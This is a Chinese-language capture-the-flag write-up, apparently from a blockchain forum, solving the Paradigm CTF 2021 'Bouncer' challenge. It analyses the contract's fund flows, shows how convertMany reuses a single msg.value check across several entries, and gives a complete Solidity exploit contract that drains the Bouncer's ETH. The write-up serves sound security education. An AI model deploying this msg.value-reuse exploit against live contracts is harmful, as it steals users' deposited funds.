Paradigm CTF-Bouncer

本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

# Paradigm CTF-Bouncer 本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。 本文都是基于https://cmichel.io/paradigm-ctf-2021-solutions/这篇文章进行的分析,如有需要可以参考原文。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ## 题目分析: 首先是分析下合约Bouncer的资金流入流出表 | 方法名 | 资金流向 | 要求 | 状态 | | :-------------------------------------------- | ------------- | ------------------------------------------------------------ | :------------------------------------ | | $enter(address,uint256)$ | TOKENÐ流入 | $msg.value = entryFee$ | `new Entry(amount,time,token)` | | $convertMany(address,uint256[])$ | NA | | `entry.token+=amount` | | `contributions(address,address[])` | | | | | `convert(address,uint256)` | NA | $\mathtt{1}. block.timestamp > entry.tiemstamp\\\mathtt{2}.token.allowance = uint(-1)\\\mathtt{3}.msg.sender = delegate[who] $ | `entry.token += amount​` | | `redeem(ERC20Like,uint256)` | TOKENÐ流出 | $tokens[msg.sender][address(token)] > amount$ | `tokens[msg.sender][token] -= amount` | | `proofOfOwnership(ERC20Like,address,uint256)` | TOKENÐ流入 | $msg.value = amount$ | | | `addDelegate(address,address)` | NA | $msg.sender = owner\\ msg.sender = from$ | `delegates[from] = to` | | `removeDelegate(address)` | NA | $msg.sender = owner\\ msg.sender = from$ | `delete delegates[from]` | | `claimFees()` | ETH流出 | $msg.sender = owner$ | | | `hatch(address,bytes)` | NA | $msg.sender = owner$ | delegatecall | 再看下题目要求: ```js function isSolved() public view returns (bool) { return address(bouncer).balance == 0; } ``` 题目要求是拿走Bouncer合约的所有ETH,故我们关注下ETH流出函数:`claimFees和redeem`,由于`claimFees`要求是owner,我们可以先看下`redeem` ```js // redeem your tokens for their underlying erc20 function redeem(ERC20Like token, uint256 amount) public { tokens[msg.sender][address(token)] -= amount; payout(token, msg.sender, amount); } ``` 看起来可以直接调用redeem函数,他就会直接将ETH转账给我们,但实际上它有一个隐含要求:由于是solidity 0.8.0, 其加减乘除法都实现了openzepplin的safemath库,故此函数的实际要求是: ```js // redeem your tokens for their underlying erc20 function redeem(ERC20Like token, uint256 amount) public { require(tokens[msg.sender][address(token)] > amount); tokens[msg.sender][address(token)] -= amount; payout(token, msg.sender, amount); } ``` 正常的工作流程是: ```js enter(ETH,1 ether) -- new Entry{amount=1 ether, time=now, token=ETH} convert(user, id) -- 拿到entry = entries[user][id] -- 进行convert里面的三个验证:timestamp, allowance, msg.sender=user --> proofOfOwnership(token,user,amount) --验证 msg.value == amount -- token[user][token] += amount redeem(token, amount) -- token[user][token] > amount --> payout(token,msg.sender,amount) ``` 正常流程中,应该是每一次convert都需要验证msg.value==amount。但是如果改成convertmany,则只需要一次满足即可,其流程变为: ```js enter(ETH, x ether) <msg.value=1 ether> enter(ETH, x ether) <msg.value=1 ether> convertmany(user, ids) <msg.value=x ether> --> convert(user, ids[0]) --> proofOfOwnership(token, user, amount) -- require(msg.value == amount) 满足 <token[user][ETH] = x> --> convert(user, ids[1]) --> proofOfOwnership(token, user, amount) -- require(msg.value == amount) 满足 <token[user][ETH] = 2x> redeem(ETH, 2x ether) --> payout(ETH, msg.sender, 2x ether) 我们期望的结果是: out: 2x in: x + 1 + 1 reserve: 50 + 1 + 1 => out = in + reserve => 2x = x + 2 + 52 x = 54 ``` 故我们的破解合约为: ```js pragma solidity 0.8.0; import "./Setup.sol"; import "hardhat/console.sol"; contract Hack { Bouncer public bouncer; address public ETH; uint public target_amount; constructor(address _setup) public payable { bouncer = Bouncer(Setup(_setup).bouncer()); console.log("bouncer is %s", address(bouncer)); ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // 拿到bouncer合约的所有ETH余额值 uint256 _amount = address(bouncer).balance; console.log("bouncer.balance %s",_amount); // 目标数量 target_amount = _amount + 2 ether; console.log("target_amount %s", target_amount); // 往Bouncer里存一个数量 } function pre_go() public payable { bouncer.enter{value: 1 ether}(address(ETH), target_amount); bouncer.enter{value: 1 ether}(address(ETH), target_amount); } function go() public payable { // 执行上述逻辑 // 执行convertmany uint256[] memory ids = new uint256[](2); ids[0] = 0; ids[1] = 1; bouncer.convertMany{value: target_amount}(address(this), ids); console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH)); // 执行redeem bouncer.redeem(ERC20Like(ETH), 2*target_amount); console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH)); // 判断并自毁 require(address(this).balance >= 2*target_amount, "balance not enough"); selfdestruct(payable(address(tx.origin))); } receive() external payable{} } ``` 写合约的时候,注意一点: 由于convert有一个timestamp的要求,故enter和convertMany不能再同一个块中。所以需要拆成两个函数。 ![image20210711190035084.png](https://img.learnblockchain.cn/attachments/2021/07/6Dbwt6nH60eed8e2c9b67.png) ![image20210711190050765.png](https://img.learnblockchain.cn/attachments/2021/07/DPtZQvCC60eed8e30fb77.png)

Paradigm CTF-Bouncer

本文是Paradigm CTF的Bouncer系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

本文都是基于https://cmichel.io/paradigm-ctf-2021-solutions/这篇文章进行的分析,如有需要可以参考原文。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 。如果你觉得我写的还不错,可以加我的微信:woodward1993

题目分析:

首先是分析下合约Bouncer的资金流入流出表

方法名 资金流向 要求 状态
$enter(address,uint256)$ TOKENÐ流入 $msg.value = entryFee$ new Entry(amount,time,token)
$convertMany(address,uint256[])$ NA entry.token+=amount
contributions(address,address[])
convert(address,uint256) NA $\mathtt{1}. block.timestamp > entry.tiemstamp\\mathtt{2}.token.allowance = uint(-1)\\mathtt{3}.msg.sender = delegate[who] $ entry.token += amount​
redeem(ERC20Like,uint256) TOKENÐ流出 $tokens[msg.sender][address(token)] > amount$ tokens[msg.sender][token] -= amount
proofOfOwnership(ERC20Like,address,uint256) TOKENÐ流入 $msg.value = amount$
addDelegate(address,address) NA $msg.sender = owner\ msg.sender = from$ delegates[from] = to
removeDelegate(address) NA $msg.sender = owner\ msg.sender = from$ delete delegates[from]
claimFees() ETH流出 $msg.sender = owner$
hatch(address,bytes) NA $msg.sender = owner$ delegatecall

再看下题目要求:

function isSolved() public view returns (bool) {
    return address(bouncer).balance == 0;
}

题目要求是拿走Bouncer合约的所有ETH,故我们关注下ETH流出函数:claimFees和redeem,由于claimFees要求是owner,我们可以先看下redeem

// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
    tokens[msg.sender][address(token)] -= amount;
    payout(token, msg.sender, amount);
}

看起来可以直接调用redeem函数,他就会直接将ETH转账给我们,但实际上它有一个隐含要求:由于是solidity 0.8.0, 其加减乘除法都实现了openzepplin的safemath库,故此函数的实际要求是:

// redeem your tokens for their underlying erc20
function redeem(ERC20Like token, uint256 amount) public {
    require(tokens[msg.sender][address(token)] > amount);
    tokens[msg.sender][address(token)] -= amount;
    payout(token, msg.sender, amount);
}

正常的工作流程是:

enter(ETH,1 ether)
    -- new Entry{amount=1 ether, time=now, token=ETH}
convert(user, id)
    -- 拿到entry = entries[user][id]
    -- 进行convert里面的三个验证:timestamp, allowance, msg.sender=user
    --> proofOfOwnership(token,user,amount)
        --验证 msg.value == amount
    -- token[user][token] += amount
redeem(token, amount)
    -- token[user][token] > amount
    --> payout(token,msg.sender,amount)

正常流程中,应该是每一次convert都需要验证msg.value==amount。但是如果改成convertmany,则只需要一次满足即可,其流程变为:

enter(ETH, x ether) &lt;msg.value=1 ether>
enter(ETH, x ether) &lt;msg.value=1 ether>
convertmany(user, ids) &lt;msg.value=x ether>
    --> convert(user, ids[0])
        --> proofOfOwnership(token, user, amount)
            -- require(msg.value == amount) 满足
            &lt;token[user][ETH] = x>
    --> convert(user, ids[1])
        --> proofOfOwnership(token, user, amount)
            -- require(msg.value == amount) 满足
            &lt;token[user][ETH] = 2x>
redeem(ETH, 2x ether)
    --> payout(ETH, msg.sender, 2x ether)
我们期望的结果是:
out: 2x
in: x + 1 + 1
reserve: 50 + 1 + 1
=> out = in + reserve
=> 2x = x + 2 + 52
x = 54

故我们的破解合约为:

pragma solidity 0.8.0;
import "./Setup.sol";
import "hardhat/console.sol";
contract Hack {
    Bouncer public bouncer;
    address public ETH;
    uint public target_amount;
    constructor(address _setup) public  payable {
        bouncer = Bouncer(Setup(_setup).bouncer());
        console.log("bouncer is %s", address(bouncer));
        ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
        // 拿到bouncer合约的所有ETH余额值
        uint256 _amount = address(bouncer).balance;
        console.log("bouncer.balance %s",_amount);
        // 目标数量
        target_amount = _amount + 2 ether;
        console.log("target_amount %s", target_amount);
        // 往Bouncer里存一个数量

    }
    function pre_go() public payable {
        bouncer.enter{value: 1 ether}(address(ETH), target_amount);
        bouncer.enter{value: 1 ether}(address(ETH), target_amount);
    }
    function go() public payable {
        // 执行上述逻辑

        // 执行convertmany
        uint256[] memory ids = new uint256[](2);
        ids[0] = 0;
        ids[1] = 1;
        bouncer.convertMany{value: target_amount}(address(this), ids);
        console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));

        // 执行redeem
        bouncer.redeem(ERC20Like(ETH), 2*target_amount);
        console.log("tokens[msg.sender][ETH] = %s", bouncer.tokens(msg.sender,ETH));

        // 判断并自毁
        require(address(this).balance >= 2*target_amount, "balance not enough");
        selfdestruct(payable(address(tx.origin)));
    }
    receive() external payable{}
}

写合约的时候,注意一点:

由于convert有一个timestamp的要求,故enter和convertMany不能再同一个块中。所以需要拆成两个函数。

区块链技术网。

  • 发表于 2021-07-14 20:31
  • 阅读 ( 377 )
  • 学分 ( 14 )
  • 分类:智能合约

评论